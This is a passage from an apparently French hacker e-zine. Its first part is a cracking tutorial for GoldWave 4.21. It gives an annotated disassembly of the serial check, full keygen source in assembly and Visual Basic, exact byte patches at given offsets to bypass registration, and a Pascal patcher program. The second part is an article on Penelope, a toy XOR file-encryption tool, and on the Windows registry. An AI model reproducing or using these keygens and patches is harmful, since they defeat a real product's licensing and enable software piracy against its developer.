:00461B83 8B4508 mov eax, dword ptr [ebp+08] --> Pointe sur EMPER0R
:00461B87 E804DB0600 call 004CF690 -->Ce call est une fonctions permettant
de récupérer la longueur d'une chaine
pointée par eax, le résultat est place dans eax
:00461B8C 8BF8 mov edi, eax -->Le résultat dans EDI, EDI=7
:00461B8E 8B4508 mov eax, dword ptr [ebp+08] -->Pointe sur C0RTEX
:00461B91 83C019 add eax, 00000019 -->
:00461B96 E8F5DA0600 call 004CF690 -->Récupère la longueur de la chaîne et
la place dans EAX, EAX=6
:00461B9B 03F8 add edi, eax -->Ajoute les longues des chaines, EDI=6+7=D
:00461B9E 8BC7 mov eax, edi -->Place EDI dans EDX
:00461BA0 8BD0 mov edx, eax -->
:00461BA5 C1E204 shl edx, 04 -->Déplace la valeur de EDX de 4 bits
vers la gauche, EDX=D0
:00461BA8 8D1452 lea edx, dword ptr [edx+2*edx] -->EDX = EDX+2*EDX
:00461BAB 8D1492 lea edx, dword ptr [edx+4*edx] -->EDX = EDX+4*EDX
:00461BAE 8D1492 lea edx, dword ptr [edx+4*edx] -->EDX = EDX+4*EDX
:00461BB1 8D1492 lea edx, dword ptr [edx+4*edx] -->EDX = EDX+4*EDX
Maintenant EDX = 130B0
:00461BB4 03DA add ebx, edx -->Ajoute EBX(210 nombre trouvé plus
haut lors de la 1ere boucle) à EDX,
EBX=210+130B0=132C0
:00461BB9 8BCB mov ecx, ebx -->Place EBX dans ECX
:00461BBB C1E104 shl ecx, 04 -->Déplace la valeur de ECX de 4 bits
vers la gauche, EDX=132C00
:00461BBE 8D0C49 lea ecx, dword ptr [ecx+2*ecx] -->ECX = ECX+2*ECX
:00461BC1 8D0C89 lea ecx, dword ptr [ecx+4*ecx] -->ECX = ECX+4*ECX
:00461BC4 8D0C89 lea ecx, dword ptr [ecx+4*ecx] -->ECX = ECX+4*ECX
:00461BC7 8D0C89 lea ecx, dword ptr [ecx+4*ecx] -->ECX = ECX+4*ECX
Maintenant ecx = 1C157400
:00461BCA 03F1 add esi, ecx -->Ajoute ESI(1C5 nombre trouvé plus haut
lors de la 2eme boucle) a ECX,
ESI=1C5+1C157400=1C1575C5
:00461BCC 8BDE mov ebx, esi -->Met ESI dans EBX
:00461BCE 8D741032 lea esi, dword ptr [eax+edx+32] -->Initialise esi qui
va pointer sur le sérial
boucle de_division:
:00461BD6 8BC3 mov eax, ebx -->Met EBX dans EAX, intialisation pour la division
:00461BD8 33D2 xor edx, edx -->Met EDX a 0
:00461BDA B91A000000 mov ecx, 0000001A -->Met 1A dans ecx
:00461BDF F7F1 div ecx -->Divise EAX par ECX le quotient est EAX et le reste dans EDX
:00461BE1 80C241 add dl, 41 -->On ajoute au reste 41 (41 est le code ascii de A)
:00461BE4 8BC3 mov eax, ebx -->Replace EBX dans EAX
:00461BE6 8816 mov byte ptr [esi], dl -->Esi pointe vers le premier caractères
:00461BE8 33D2 xor edx, edx -->Remet EDX a 0
:00461BEA B91A000000 mov ecx, 0000001A -->1A dans ECX
:00461BEF 46 inc esi -->Incrémente l'adresse ou ce trouve le sérial
:00461BF0 F7F1 div ecx -->Divise EAX par ECX
:00461BF5 89C3 mov ebx, eax -->Place le quotient dans EBX
:00461BF7 85DB test ebx, ebx -->Teste si ebx different de 0
:00461BF9 75DB jne 00461BD6 -->Si oui alors saute en 461BD6
A la sorti de cette boucle ESI pointe sur PTMBRNB, qui est mon code d'enregistrement.
Voilà maintenant j'ai absolument tout pour faire mon keygen, je vais essayer de récapituler
l'algorithme:
1- Additionne la valeur ascii de chaque caractère de First Name avec le nombre de
lettre de cette chaine restant a traité, on appellera cette valeur A
2- Additionne la valeur ascii de chaque caractère de Last Name avec le nombre de *
lettre de cette chaine qui reste a traité, on appellera cette valeur B
3- Additionne la valeur des longueurs de chaine de First&Last name,
on appellera cette valeur C.
4- C est déplacée vers la gauche de un octet, c = c & "0"
5- C=C+2*C puis C=C+4*C, C=C+4*C, C=C+4*C
6- C=C+A
7- C est déplace vers la gauche de un octet, c = c & "0"
8- C=C+2*C puis C=C+4*C, C=C+4*C, C=C+4*C
9- C=C+B
10- Divise C par 1Ah et ajoute 41h au résultat, ce résultat est le code ascii de
la premiere lettre du serial. Le quotient de cette division est place dans C
et on recommence cette étape dans c, tant que c est diffèrent de 0
Code source d'un keygen en asm, pour des raisons de comprension j'ai gardé exactement
les même routines utilisées par le programme au lieu d'en optimiser certaines.
Les valeurs sont aussi contenu dans les même registres.
;---------------------initialisation de la boite
.386p
Locals
jumps
include w32.inc
.Model Flat ,StdCall
hWnd equ 0
IDD_WINDOW equ 100 ;ID de la boite
firstname equ 101 ;ID du champ Firtsname
lastname equ 102 ;ID du champ Lastname
serial equ 103 ;ID du champ ou on affichera le serial
.data
myname dd 10 dup (?)
myname1 db 10 dup (?)
resulta db 20 dup (?)
hInst dd ?
message db 'Enter name!',0
titl db 'KeyGen Goldwave 4.2x',0
len1 dd ?
len2 dd ?
.Code
Main:
push NULL
call GetModuleHandle
mov hInst, eax
push NULL
push offset DlgProc
push NULL
push IDD_WINDOW
push hInst
call DialogBoxParamA
push NULL
call ExitProcess
DlgProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam: DWORD
cmp wmsg, WM_CLOSE
je wmdestroy
cmp wmsg, WM_COMMAND
je wmcommand
xor eax, eax
ret
wmdestroy:
push NULL
call PostQuitMessage
ret
wmcommand:
cmp wparam, 100
je wmdestroy
cmp wparam, 105
je debut
cmp wparam, 106
je wmdestroy
ret
;----------------------------------------- début de la génération du serial
debut:
push 255
push offset myname
push firstname
push hwnd
call GetDlgItemTextA ;Récupère la chaine First name
mov len1, eax ;Longueur de la chaine dans EAX
lea edx, myname ;EDX pointe sur La chaine First Name
cmp eax, 00 ;Teste si la chaine n'est pas nulle
je pusto ;Si on affiche une msgbox pour avertir l'utilisateur
xor ecx, ecx ;initialise les registres
xor ebx, ebx ;
dec eax ;decrémente le nombre de lettre de la chaine
boucle1:
movsx ecx, byte ptr [edx] ;valeur ascii du premier char dans ecx
add ecx, eax ;ajoute cette valeur a ecx
add ebx, ecx ;sauve la valeur de ecx dans ebx
inc edx ;incrémentation du charactère de la chaine
mov ecx, eax ;sauve eax dans ecx
add eax, 0FFFFFFFFh ;équivalent a dec eax, décrémente le nombre
; de charactères a traiter
test ecx, ecx ;teste si il reste d caratères a traiter
jne boucle1 ;si oui saute, sinon le résulta final se trouve dans ebx
push ebx
push 255
push offset myname1
push lastname
push hwnd
call GetDlgItemTextA ;Récupère la chaine Last name
mov len2, eax ;longueur de chaine dans eax
lea edx, myname1 ;EDX pointe sur La chaine Last Name
cmp eax, 00 ;Teste si la chaine n'est pas nulle
je pusto ;Si on affiche une msgbox pour avertir l'utilisateur
xor ecx, ecx ;Initialise les registres
xor esi, esi ;
dec eax ; décrémente le nombre de lettre de la chaîne
boucle2: ;pareil que boucle1 mais les donné le résultat est dans esi
movsx ecx, byte ptr [edx]
add ecx, eax
add esi, ecx
inc edx
mov ecx, eax
add eax, 0FFFFFFFFh
test ecx, ecx
jne boucle2
pop ebx ;résultat boucle1
mov edi, len2 ;longueur chaine1
mov eax, len1 ;longeur chaine1
add edi, eax ;ajoute resultat boucle1 a longueur chaine2
mov eax, edi ;sauvegarde le résulta de l'opération précédente dans eax
mov edx, eax ;place cette valeur dans edx
shl edx, 04 ;décale la valeur de 4 bits vers la gauche
lea edx, dword ptr [edx+2*edx] ;quelques opérations sur edx
lea edx, dword ptr [edx+4*edx] ;
lea edx, dword ptr [edx+4*edx] ;
lea edx, dword ptr [edx+4*edx] ;
add ebx, edx ;résulta des opérations précédente + longueur chaine1
mov ecx, ebx ;sauvegarde dans ecx
shl ecx, 04 ;décale la valeur de ecx de 4 bits vers la gauche
lea ecx, dword ptr [ecx+2*ecx] ;quelques opérations sur ecx
lea ecx, dword ptr [ecx+4*ecx] ;
lea ecx, dword ptr [ecx+4*ecx] ;
lea ecx, dword ptr [ecx+4*ecx] ;
add esi, ecx ;résultat des opérations précédentes + résultat boucle2
mov ebx, esi ;sauvegarde dans ebx
mov esi, offset resulta ;initialise esi
boucle3:
mov eax, ebx ;met ebx dans ecx
xor edx, edx ;initialise edx a 0 pour la division
mov ecx, 0000001Ah ;place 1a dans ecx, dénominateur
div ecx ;eax modulo ecx
add dl, 41h ;ajoute 41h au reste de la div, 41h='A'
mov eax, ebx ;replace ebx dans eax
mov byte ptr [esi], dl ;esi pointe vers le premier caractère du sérial
xor edx, edx ;initialise edx a 0 pour la division
mov ecx, 0000001Ah ;place 1a dans ecx, dénominateur
inc esi ;incrémente l'adresse ou ce trouve le serial
div ecx ;eax modulo ecx
mov ebx, eax ;le quotient dans ebx
test ebx, ebx ;teste si quotient est diffèrent de 0
jne boucle3
;----------------------affichage du résultat
push offset resulta
push serial
push hwnd
call SetDlgItemTextA
ret
;----------------------msgbox
pusto: push 20h
push offset titl
push offset message
push hWnd
call MessageBoxA
ret
DlgProc endp
End Main
---------------------------------------------------------------------------------------
Voilà c'est tout commenté, le code ce comprend sans difficulté je pense.
Pour ceux qui on un peu de mal avec l'asm, le keygen peut ce faire aussi facilement en VB:
Dim a As String, i As Byte, j As Byte, b As Variant, c As Variant, d As Variant, e As Variant,
h As Byte, f As String, k As String
Private Sub Command1_Click()
Text1.Text = UCase(Text1.Text)
Text2.Text = UCase(Text2.Text)
If Text1.Text = "" Or Text2.Text = "" Then
MsgBox "Vous devez remplir les deux champs", vbCritical, "--==GoldWave Keygen==--": Exit Sub
End If
b = 0
For i = 1 To Len(Text1.Text)
a = Mid(Text1.Text, i, 1)
b = b + Asc(a) + (Len(Text1.Text) - i)
Next
c = 0
For j = 1 To Len(Text2.Text)
a = Mid(Text2.Text, j, 1)
c = c + Asc(a) + (Len(Text2.Text) - j)
Next
d = Hex(Len(Text1.Text) + Len(Text2.Text)) & "0"
myhex$ = d
mydec& = Val("&H" & myhex$)
d = mydec
d = d + 2 * d
d = d + 4 * d
d = d + 4 * d
d = d + 4 * d
e = Hex(b + d) & "0"
myhex$ = e
mydec& = Val("&H" & myhex$)
e = mydec
e = e + 2 * e
e = e + 4 * e
e = e + 4 * e
e = e + 4 * e
f = c + e
k = ""
Do While f <> 0
h = (f Mod 26) + 65
f = Int(f / 26)
k = k & Chr(h)
Loop
Text3.Text = k
End Sub
-------------------------------------------------------------------------------------------
Pas besoin de beaucoup d'explication c'est simple (meme si j'ai codé ca comme un porc, avec des
noms de variables discutables :-) ). J'ai pas optimiser a fond car après ca donne des lignes du style:
a = Asc(Mid(Text2.Text, j, 1) + (Len(Text2.Text) - j)) c'est sur c plus impressionnant :) mais ce
tuto s'adresse aux débutant. Text1 c'est la ou on entre le First Name et Text2 le Last Name, le serial
apparaitra dans Text3.
Sinon il faut remplir les 2 champs et les lettres du first & last name doivent être converti
en majuscule--> Text1.Text = UCase(Text1.Text) pareil pour text2
Le reste c'est l'application simple de l'algo plus quelques petites astuces pour la conversion de
nombres hexa en décimal et inversement.
++++ | Partie IV: Le Patch | ++++
A. Faire accepter tous les serials :
___________________________________
Nous avons vu au début de ce tuto que si a la sorti du call 00461C14, AL était égal a 00 alors notre
code n'est pas valide, si on inverse le saut sa sert a rien car une routine au lancement du logiciel
teste le serial enregistré dans un fichier .ini.
Alors, je vais chercher dans le call l'endroit ou AL est mit a 00 :
Quand on entre dans le call 461C14 on voit
* Referenced by a CALL at Addresses:
|:00461A64 , :004623F7 , :004624A3
Le programme doit certainement ce servir aussi de cette routine pour verifier le serial enregistré
dans le fichier .ini. Pour en etre sur on pose un breakpoint sur chaqune des 3 adresses qui appele
ce call, on lance le prog et.... bingo sa break direct.
Je rerentre dans le call et je trace comme un fous car ca ce passe a la fin forcement, apres la
generation du serial.
Voila tout ce passe là:
:00461C4E 85C0 test eax, eax
:00461C50 7504 jne 00461C56
:00461C52 33C0 xor eax, eax
:00461C54 EB27 jmp 00461C7D
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00461C50(C)
|
:00461C56 8D45E4 lea eax, dword ptr [ebp-1C]
:00461C59 8BD6 mov edx, esi
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00461C75(C)
|
:00461C5B 8A08 mov cl, byte ptr [eax]
:00461C5D 3A0A cmp cl, byte ptr [edx]
:00461C5F 7516 jne 00461C77
:00461C61 84C9 test cl, cl
:00461C63 7412 je 00461C77
:00461C65 8A4801 mov cl, byte ptr [eax+01]
:00461C68 3A4A01 cmp cl, byte ptr [edx+01]
:00461C6B 750A jne 00461C77
:00461C6D 83C002 add eax, 00000002
:00461C70 83C202 add edx, 00000002
:00461C73 84C9 test cl, cl
:00461C75 75E4 jne 00461C5B
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00461C5F(C), :00461C63(C), :00461C6B(C)
|
:00461C77 0F94C0 sete al
:00461C7A 83E001 and eax, 00000001
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00461C54(U)
|
:00461C7D 5F pop edi
:00461C7E 5E pop esi
:00461C7F 5B pop ebx
:00461C80 8BE5 mov esp, ebp
:00461C82 5D pop ebp
:00461C83 C3 ret
[ Explications ]
Normalement quand jarrive en 461C4E, AL est egal a 01, dans le cas ou mon serial est bidon
ou meme si il est valide (je n'est pas regardé dans quel cas al peut valoir 00 ici).
Al est egal a 01 et le saut en 461C50 ce fait. A la ligne 461C5D et 461C68 on compare
letre par letre le serial généré par le prog et le serial que l'on a entré.
En 461C75 le saut permet de faire une boucle pour tester tout les caractères.
Si un caractères est incorect au saute direct en 461C77
SETE: initialisation à 1 si CF=0 et ZF=1, dans ce cas CF et ZF=0 alors al ne pourra
pas etre initialisé a 01.
Si notre serial est corect (cartères identiques au sérial généré) alors CF=0 et ZF=0,
donc al est initialisé a 01 grace a SETE.
Voila on peut patcher sa de multiple facon, la facon la plus simple est la plus logique
serait de remplacer le SETE par SETA
(SETA: initialisation à 1 si CF et ZF sont à 0)
Le problème c'est que le programme apres compare notre serial avec son serial généré,
donc si la première fois le SETA nous met bien AL a 01, il nous le met a 00 lors du
deuxième test.
La deuxieme facon qui est a mon avis la plus simple et la plus logique est de remplacer
le jne 00461C56 a la ligne 461C50, par un jmp 00461C7D. Cette solution modifie que 2 octets
je pense que c'est la plus simple. Le 7504, a la ligne 00461C50 offset 61250, devient EB2B
On fait les modif, on efface les infos que contienne First Last & Password,
dans c:\windows\goldwave.ini si il y en a, puis on entre n'importe quel: First name,
Last name et password et sa marche, on relance le prog et c'est bon on est register.
Cette modif permet de faire accepter nimporte quel sérial.
B. Enregistrer le prog sans entrer de serial :
______________________________________________
On efface les infos que contienne First Last & Password, dans c:\windows\goldwave.ini
si il y en a, pour etre sur que notre technique marche.
Le prog voit si on est register ou si le code est correct quand a la sortie du call 00461C14
il voit AL=01. Alors on entre dans ce call et on modifi les 3 premiers octets du call par:
Mov AL,01
RET
C'est extrement bourrin mais aussi extrement efficasse :)
/!\Attention quand meme avec cette technique de bourrin elle peut poser des problèmes sur
certain prog, le call peut etre nesséssaire pour d'autre chose dans certaint cas.
Le prog rentre dans le call, on met 01 dans AL et le RET le fait sortir de suite :)
On modifie a l'offset 61214: 558BEC par B001C3
Code de ce patch en pascal, merci la shmeitcorp(RIP) pour cette source:
Program crackpatch;
Uses Crt;
Const A: Array[1..3] of Record ;3=nombre d'octet a modifier
A : Longint;
B : Byte;
End =
(
(A:$61214;B:$B0), ;offset et valeur
(A:$61215;B:$01), ;a remplacer pour
(A:$61216;B:$C3) ;chaque octet
);
Var
Ch:Char;
I:Byte;
F:File;
FN:file of byte;
Size:longint;
Procedure Presentation;
Begin
Gotoxy(2,3);
Textcolor(3);
Writeln('');
Writeln('cRACk f0R : Goldwave 4.21');
Writeln('cRACK3D bY : Emper0r');
Writeln('');
Writeln('');
Writeln('gR33TiNG : Dr. Raoul Duke et Maitre GonZo !');
Writeln ('');
Writeln ('');
end;
Begin
Presentation;
Assign(F,'GOLDWAVE.EXE'); ;nom du prog a patcher
{$I-} Reset(F,1); {$I+}
If IOResult <> 0 then
begin
writeln('fILE n0T f0UnD!');
halt(0);
end;
For I:=1 to 3 do
Begin
Seek(F,A[I].A);
Ch:=Char(A[I].B);
Blockwrite(F,Ch,1);
End;
Writeln('cRACk SuCc3sSfUL !!!!');
End.
[ Conclusion ]
Ca y est mon tuto est fini merci a ceux qui on lut jusqua la fin ;) j'espère que que
ce tuto aura appris quelque chose à quelqu'un. A oui et aussi pardon pour les 351
fautes d'orthographes qu'il contient :)
Emper0r
-Remerciements en vrac a: MrPhillex, Christal, Slash, eldre8, Fistfucker, yopjen,
Morgatte, spud, TipaX, SNY, R!SC, TaMaMBoLo, [k], YoLeJedi, Neo Fox, Lex Icon,
DarK_DreaM, Seiferis, Slider, The Analyst, la team 29A, la shmeitcorp, millarness,
Factitius, Dr. Raoul Duke & Maitre GonZo.
-Mais aussi: tous mes potes, tous ceux que je ne peut malheuresment pas citer pour
certaines raisons qui font que ...., tout ceux qui font un petit qq chose pour
'l'underground', tous ceux que j'ai oublié.
-Big Fuck : A ceux qui critiquent au lieu de partager, a tout les lamerz qui polluent
le net et ne font que des conneries (ex: ceux qui utilisent d generateurs de worms sans
comprendre et les lachent dans la nature, voir VBS.annaKournicova).
-------------------------------------------------------------------------------------------
III. Crypto : Penelope par Androgyne
-------------------------------------------------------------------------------------------
++++++++++++++++++++++++++++++++++++
+++ Fichier Joint : penelope.zip +++
++++++++++++++++++++++++++++++++++++
[ Sommaire ]
Introduction
Généralités - FAQ
Comment ça marche ?
Pourquoi l'avoir fait ?
Pourquoi ce nom ?
Quel est le cryptage utilisé ?
La base de registre
Hiérarchie
HKEY_LOCAL_MACHINE\Software
Application
Les autres points de Penelope
Boîtes de dialogue
Le générateur de nombre pseudo-aléatoire
Le file mapping
Comment avoir de l'ordre en asm...
Conclusion
[ Introduction
]
Penelope est un programme de cryptage... Mais ce n'est pas la fonction de
cryptage qui est intéressante ici, j'ai utilisé un simple cryptage xor sur 32
bits. Ce qui va faire l'objet de cette article, c'est toutes les choses que
j'ai apprises en programmant Penelope. C'est un article un peu fourre tout
mais il est fondamentalement lié à Penelope.
[ Généralités - FAQ ]
*** Comment ça marche ? ***
J'ai essayé de faire une interface la plus simple possible. Je crois
qu'on ne peut pas faire moins... L'interface se présente avec une boîte de
dialogue. Là, vous pouvez entrer le nom du fichier que vous voulez crypter
(il doit être dans le même répertoire que Penelope), et vous appuyez sur
'Cipher'. Penelope génère alors un fichier ayant pour nom
nomentierdufichier.xor, qui est la forme cryptée. Pour décrypter le fichier,
on fait la même chose en appuyant sur 'Decipher'. Si le nom du fichier
termine par .xor, Penelope va générer le nouveau fichier en enlevant
l'extension xor, sinon, une boîte de dialogue apparaît pour vous demander le
nom du fichier une fois décrypté. Il y a quelques petits plus amusants : vous
pouvez associer l'extension xor avec Penelope (dans 'Options'), et alors, dès
que vous cliquez sur un fichier ayant l'extension xor, Penelope est lancée
automatiquement et initialise le nom du fichier. Vous pouvez également faire
un fichier de configuration qui enregistrera des données très précieuses
(voir plus loin)...
*** Pourquoi l'avoir fait ? ***
J'en sais rien... Pour m'amuser. Certains vont dire "Pourquoi se faire
chier à le faire en asm alors qu'il serait plus facile de le faire en C++ ou
en Delphi ?"... Oui, c'est vrai mais je préfère l'asm et c'est mon choix
<insérer ici la musique de "C'est mon choix">. Tout met plus de temps à faire
en asm mais je trouve ça tellement plus excitant...
*** Pourquoi ce nom ? ***
Pourquoi pas ce nom... Je trouve que donner des prénoms aux programmes
les rend un peu plus vivants. Alors, cette fois, c'est Penelope, une autre
fois, ce sera un autre prénom :) Si vous avez des préférences, écrivez moi
(prénom féminin uniquement).
*** Quel est le cryptage utilisé ? ***
C'est un simple cryptage xor (agrémenté de quelques autres instructions
du style rol/ror) avec plusieurs clés, toutes 32 bits. Ce n'est pas très
secure mais ce n'est pas le but (un jour si j'ai le temps, j'implémenterai
un codage RSA). En fait, il y a trois clés : la clé du programme, c'est une
clé fixe dans le programme ; la clé de l'utilisateur, elle est tirée au
hasard à la première utilisation de Penelope ; la clé du fichier, elle est
tirée au hasard pour chaque fichier. Comment ces clés sont-elles utilisées ?
L'idée, c'est qu'on ne va pas mettre la clé du fichier directement avec le
fichier donc, on la crypte avec la clé de l'utilisateur et on la met avec le
fichier... Voilà pourquoi la clé de l'utilisateur est choisie une fois pour
toute au début. Et voilà à quoi sert le fichier de configuration... Elle sert
à stocker la clé de l'utilisateur. Mais là encore, on ne la stocke pas telle
quel, on la crypte avec la clé du programme qui elle est fixe... Vous me
direz "Si on connait la clé du programme, on peut avoir la clé de
l'utilisateur et alors, on décrypte tous les fichiers...". Bien sûr mais vous
ai-je dit que ce programme n'était pas très puissant pour le cryptage ?
[ La base de registre ]
J'ai abondamment utilisé la base de registre dans ce programme, ce qui
m'a permis d'en apprendre un peu plus sur cet élément Windowsien un peu
obscur pour le commun des utilisateurs moyens... Un peu d'histoire tout
d'abord : au début, à l'ère préhistorique du DOS, pour pouvoir garder des
configurations d'utilisateurs, on avait des fichiers de configuration (les
fichiers INI). Remarquez que ces fichiers existent toujours et que l'on peut
toujours s'en servir (voir article sur les INI dans hccc#6
[http://www.multimania.com/hccc]). Mais l'arrivée de Windows 3.1 a marqué
l'arrivée de la base de registre (registry en anglais) pour remplacer les
fichiers INI. Au départ, on ne pouvait pas stocker beaucoup de choses dans le
registre, uniquement des chaînes de caractères, c'était un peu la misère...
Puis avec les Win9x, on a pu faire plus de choses avec le registre et son
utilisation s'est généralisée. La documentation de Windows incite d'ailleurs
à abandonner l'utilisation des INI pour lui préférer celle du registre.
*** Hiérarchie ***
Le registre marche avec un système de clé et une hiérarchie en
répertoire... Vous pouvez avoir un aperçu de cette hiérarchie en tapant
regedit dans 'Executer...'. regedit est l'éditeur de registre, vous pouvez
modifier le registre directement à partir de là. Mais attention !!! Des
modifications à tout va peuvent causer des dommages irréversibles sur ce
pauvre Windows qui a déjà bien du mal à fonctionner tout seul :) .
Dans cette hiérarchie, il y a principalement 4 clés à la racine :
- HKEY_CLASS_ROOT : c'est un raccourci pour la clé
HKEY_LOCAL_MACHINE\Software\Classes, on va y revenir longuement dans la
suite...
- HKEY_CURRENT_USER : c'est un raccourci pour HKEY_USERS\<utilisateur>...
- HKEY_LOCAL_MACHINE : cette clé contient pleins d'informations sur la
machine sur laquelle est installé Windows. On va s'intéresser plus
précisément à la sous clé Software dans la suite...
- HKEY_USERS : c'est la clé où sont stocké les configurations de tous les
utilisateurs de la machine.
Ces 4 clés sont ouvertes en permanence. On peut donc y accéder quand on
veut. Pour pouvoir accéder à des sous clés, il faut ouvrir ces sous clés
(fonction RegOpenKey). Chaque clé peut contenir elle même une valeur (appelée
default dans regedit) ou contenir des autres valeurs associées à des noms
plus précis.
Je me suis particulièrement intéressée à la sous clé Software de
HKEY_LOCAL_MACHINE...
*** HKEY_LOCAL_MACHINE\Software ***
Là, on a deux types de sous clés. Tout d'abord, il y a les sous clés créé
par la plupart des logiciels installés sur votre PC. Généralement, la sous
clé contient le nom de la société qui produit le logiciel (Exemples : Adobe,
Netscape, Microsoft, Logitech...), et cette sous clé contient des sous clés
avec le nom des logiciels de cette société (Exemple pour Adobe : Acrobat
Reader, Photoshop). C'est ici que sont stockés les numéros de version, la
configuration, etc... des logiciels de votre PC. Vous pouvez fouillez un peu
la dedans, c'est parfois très instructif :)
Le deuxième type de clé est la clé Classes. On peut y accéder directement
dès la racine par HKEY_CLASS_ROOT. Ici sont définis les types et classes de
documents existant sur votre PC. Là encore, il y a deux types de sous clé :
- les clés extensions : elles se trouvent toutes au début et ont la forme
'.ext'. Ces clés définissent à quelle classe appartiennent les fichiers
portant l'extension 'ext' (Exemple : '.zip' appartient à la classe
Winzip, '.txt' à la classe txtfile)
- les clés classes : Ces clés servent à définir les fichiers de cette
classe. La valeur de ces clés est une description du type du fichier
(Exemple pour txtfile : 'Document texte'), c'est l'information qu'on
peut voir en faisant 'Propriétés' en face de type. Chaque clé classe
contient généralement une sous clé 'Shell' qui donne des informations
sur l'application qui interprète les fichiers de cette classe ; 'Shell'
contient généralement deux sous clés 'open' et 'print' qui ont la même
structure, une sous clé 'command' qui a pour valeur la ligne de
commande à envoyer quand on clique sur ce type de fichier (%1 remplace
comme en batch le premier argument, c'est à dire ici le fichier sur
lequel on a cliqué). Exemple : "C:\WINDOWS\NOTEPAD.EXE %1". La clé
classe à parfois une sous clé 'DefaultIcon' qui contient un chemin
jusqu'à l'icône utilisée pour ce type de document.
Donc, résumons :
HKEY_LOCAL_MACHINE\Software
+ CompanyName1
| + ProductName1
| + ProductName2
+ CompanyName2
| + ProductName1
+ RtC
| + Penelope
| | [Owner Key] -> xxxxxxxx
| . [Rand Seed 1] -> xxxxxxxx
. [Rand Seed 2] -> xxxxxxxx
.
|
+ Classes
| + .txt -> txtfile
| + .xor -> xorfile
| +
| .
| .
| + txtfile -> "Document Texte"
| | + shell
| | | + open
| | | | + command -> "C:\WINDOWS\NOTEPAD.EXE %1"
| | | + print
| | | + command -> "C:\LINUX\NOTEPAD.EXE /p %1"
| | + DefaultIcon -> "......"
| + xorfile -> "Fichier XOR"
| | + shell
| | | + open
| | | + command -> "....\penelope.exe %1"
| | + DefaultIcon -> "....\penelope.exe,1"
. .
etc...
Je n'ai pas mis .xor et xorfile par hasard car c'est de cette façon que
je déclare Penelope en tant qu'interpréteur de fichiers xor. J'en profite
pour déclarer l'icône associée au type de fichier xor (vous avez vu, je me
suis éclatée sur les icônes). J'ajoute également la valeur AlwaysShowExt dans
la clé xorfile pour toujours voir l'extension même quand on a coché l'option
'Cacher les extensions des fichiers dont le type est connu', ce qui a valu à
un célèbre ver de se propager avec amour sur les 3/4 de la planète :)
*** Application ***
Pour manipuler des clés et des sous clés dans le registre, on utilise des
fonctions de l'API Windows. Toutes ces fonctions commencent par Reg. Allez
voir dans les sources de Penelope pour voir plus précisément un exemple
d'application. Les descriptions de ces fonctions sont dans tous les win32.hlp
qui se respectent. Vous pourrez y trouver aussi des informations
complémentaires sur le registre.
On m'a également parlé, il y a peu, d'un virus très astucieux qui
utilisait le registre. Il se copiait dans le répertoire Recycled (c'est la
corbeille) et se déclarait en tant qu'interpréteur de fichiers exécutables...
Conséquence : si on l'efface, impossible d'exécuter quoi que ce soit. Il en
profitait pour infecter tous les exécutables sans aucun effort de
recherche...
Conclusion : Le registre de Windows est une idée qui pour une fois n'est
pas dénuée de bon sens. Mais le registre est à mon avis un point faible de
Windows. Rien n'empêche quelqu'un de tout supprimer dans le registre et
alors, bonjour les dégâts...
[ Les autres points de Penelope ]
*** Boîtes de dialogue ***
Pour faire des boîtes de dialogues, c'est tout simple. Je vous renvoie
ici à l'article que j'ai écrit dans hccc#6 (voir adresse plus haut) pour
avoir une démarche détaillée.
*** Le générateur de nombre pseudo-aléatoire ***
Là encore, je vous renvoie à l'article 'GNPA' paru dans RtCmag#3 et
reparu dans 'RtCmag at the end of the universe'. Je veux juste dire que j'ai
mis une version totalement 32 bits utilisant une récurrence linéaire d'ordre 2
congruentielle. Je stocke les valeurs de rand_seed1 et rand_seed2 dans le
registre dans la clé 'HKEY_LOCAL_MACHINE\Software\RtC\Penelope'.
*** Le file mapping ***
Je n'ai rien à dire là non plus, je vous renvoie à l'article de Doxtor L.
'Infection Win32 Part 2 : Manipulation de fichier en asm' qui est très bien
fait et qui est paru dans 'RtCmag at the end of the universe'. Dans le cas de
Penelope, je rajoute au fichier crypté un entête contenant une signature
('XOR',0) et la clé du fichier crypté avec la clé de l'utilisateur. La
signature permet de savoir si oui ou non on a à faire à un fichier crypté
avec Penelope, c'est un procédé classique (Exemple : 'PK' pour les zip, 'PE'
pour les executables Win32, ...).
[ Comment avoir de l'ordre en asm... ]
C'est un point que j'aimerais aborder parce que je ne l'ai vu abordé nul
part et il me semble important. Il est en effet très facile d'avoir un code
qui ne ressemble à rien en asm. Cette particularité vient du fait qu'il
n'existe aucun éditeur de texte dédié à l'assembleur contrairement à tous les
macrolangages. Pour ma part, j'utilise UltraEdit 8.00 que je trouve excellent
à tout point de vue : coloration syntaxique très complète, transformation
Tabulations en Espace, indentation automatique. Je le conseille à tout le
monde... La deuxième différence principale est la compilation. Avec un
macrolangage, on a un joli raccourci clavier sur l'éditeur et voilà ! En
assembleur, on y va à la main. Heureusement, on peut automatiser la
compilation un minimum en utilisant des batch de compilation...
Mais il ne faut pas accuser le manque de matériel. Savoir présenter un
code en asm est beaucoup plus important que dans tout autre langage. Et quand
je dis présenter, je parle aussi bien des sauts de lignes opportuns que du
nommage des variables, constantes... Un code mal présenté n'est pas agréable
à lire. Pour ma part, j'essaie de respecter des règles qui me sont propres.
J'espère que mes codes sont lisibles par le plus grand nombre. J'y accorde
beaucoup d'importance alors dites moi si des choses ne vous paraissent pas
claires.
Pour finir, je voudrais lancer un appel aux extrémistes des debugger. Je
voudrais insister sur le fait que le meilleur debugger, c'est votre cerveau.
Il ne faut pas devenir dépendant des debuggers, souvent, il suffit juste de
réfléchir un peu, de regarder son code droit dans les yeux et l'erreur
apparaît ! Parfois, c'est un peu plus compliqué, elle est devant vous et vous
ne la voyez pas... Ça m'est déjà arrivé, une pauvre erreur qui m'a résisté
pendant un mois et demi. Quand c'est comme ça, laissez tombez, passez à autre
chose, et revenez sur votre code plus tard, avec des idées neuves, ça aide ;
vous n'avez personne derrière vous avec une kalashnikov pour vous imposer des
délais alors prenez votre temps ; à force, vous n'aurez même plus besoin de
débugguer vos codes.
[ Conclusion ]
Je ne vous force pas à utiliser ce logiciel (je vous conseille même
fortement de ne pas l'utiliser :) ). Mais si vous avez le temps de l'essayer
au moins, et de me dire les bugs qu'il comporte, ce serait cool. J'en ai déjà
repéré quelques uns, mais je suis sûre qu'il y en a d'autres... Merci
d'avance.
